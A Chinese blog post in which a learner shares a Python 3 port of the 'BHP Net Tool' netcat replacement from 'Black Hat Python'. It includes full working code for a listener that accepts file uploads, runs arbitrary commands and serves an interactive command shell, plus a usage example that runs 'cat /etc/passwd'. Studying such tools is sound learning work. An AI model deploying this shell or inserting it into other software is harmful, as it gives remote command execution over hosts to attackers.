抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

《python黑帽子编程》这本书可以提升自己的写脚本的水平

  为了增进自己的python编程水平,于是选了《python黑帽子编程》这本书,写完一个小作业感觉受益良多,懂了些服务器客户端的通信方式,希望自己能够坚持下去。

我已经将相关代码放到我的github,详情请点击链接,为了伟大的开源精神而干杯(手动doge)


具体代码,详情见注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
# -*- coding:UTF-8 -*-
import sys
import socket
import getopt
import threading
import subprocess
import time

# 定义全局变量
listen = False
command = False
execute = ""
target = ""
upload_destination = ""
port = 0


def usage(): # 帮助说明
print("BHP Net Tool\n\n")
print("Usage: nc.py -t target_host -p port")
print(
"-l --listen \
- listen on [host]:[port] for incoming connections")
print("-e --execute=file_to_run \
-command execute the given file upon receiving a connection")
print("-c --command - initialize a command shell")
print(
"-u --upload=destination \
- upon receiving connection upload \
a file and write to [destination]\n\n")
print("Examples: \n")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"")
print("echo 'ABCDEF' | nc.py -t 192.168.11.12 -p 135")
sys.exit(0)


def server_loop():
global target
# 如果没有定义目标,那么我们监听所有接口
if not len(target):
target = "0.0.0.0"

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))

server.listen(5)

while True:
client_socket, addr = server.accept()
# 分拆一个线程处理新的客户端,client_socket返回一个socket对象(对应每个连接的对象)addr是具体的ip和端口
try:
client_thread = threading.Thread(
target=client_handler, args=(client_socket,))
client_thread.start()
except Exception as e:
print(e)


def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # socket对象

try:
# 连接到目标主机
client.connect((target, port))
client.settimeout(30)
if len(buffer)!=0:
client.send(buffer.encode())

while True:

# 现在等待数据回传
recv_len = 1
response = ""

while recv_len:
data = client.recv(4096).decode("utf-8")
recv_len = len(data)
response += data

if recv_len < 4096: # 一次接受4096个字节
break

print("client: "+response.strip("\n"))

# 等待更多输入
buffer = "server: "
buffer += input()
buffer += "\n"

# 发送出去
client.send(buffer.encode())

except Exception as e:
print(e)
print("[*] Exception! Exiting")
# 关闭连接
client.close()


def run_command(command):
# 换行
command = command.rstrip()
# 运行命令并将输出返回
try:
output = subprocess.check_output(
command, stderr=subprocess.STDOUT, shell=True, universal_newlines=True) # 命令执行模块
except:
output = "Failed to execute command.\r\n"
# 将输出发送
return output


def client_handler(client_socket):
global execute
global command

# 检测上传文件
if len(upload_destination):
# 读取所有字符并写下目标
file_buffer = ""

# 持续读取数据直到没有符合的数据

while True:
data = client_socket.recv(1024).decode("utf-8")

if not data:
break
else:
file_buffer += data
if "#" in file_buffer:
file_buffer = file_buffer[:-2]
break

# 现在我们接收这些数据并将它们写出来
try:
file_descriptor = open(upload_destination, "wb")
file_descriptor.write(file_buffer.encode())
file_descriptor.close()

# 确认文件已经写出来
client_socket.send(b"Succesfully saved file")
except:
client_socket.send(b"Failed to saved file")
client_socket.close()

if len(execute):
# 运行命令
output = run_command(execute)
client_socket.send(output.encode())

# 如果需要一个命令行shell,那么我们进另一个循环
if command:
while True:
# 跳出一个窗口
client_socket.send(b"<BHP:#>: ")

# 现在我们接受文件直到发现换行符(enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer = client_socket.recv(1024).decode("gbk")
# 反还命令输出
response = run_command(cmd_buffer)

# 返回相应数据
client_socket.send(response.encode()) # python3中必须以BYTE流进行传输


def main():
global listen # 全局变量
global port
global execute
global command
global upload_destination
global target
# getopt 模块,该模块是专门用来处理命令行参数的
if not(len(sys.argv[1:])): # sys.argv[0]代表脚本本身名称
usage()
# 读取命令行
try:
opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:", [
"help", "listen", "execute=", "target=", "port=", "command=", "upload="])
except getopt.GetoptError as err:
print(str(err))
usage()

for o, a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l", "--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--command"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False, "Unhandled Option"
# assert相当于断点,根据后面的表达式的布尔值进行判断,如果错误输出之后的字符串信息。

# 进行监听还是仅从标准输入发送数据?
if not listen and len(target) and (port > 0):
buffer = ""
# 从命令行读取内存数据
# 这里将会堵塞,所以不在向标准输入发送数据时发送CTRL+D·
buffer = input() + '\n'

# 发送数据
client_sender(buffer)

# 开始监听并准备上传文件、执行命令
# 放置一个反弹SHELL
# 取决于上面的命令选项
if listen:
server_loop()


if __name__ == '__main__':
main()

评论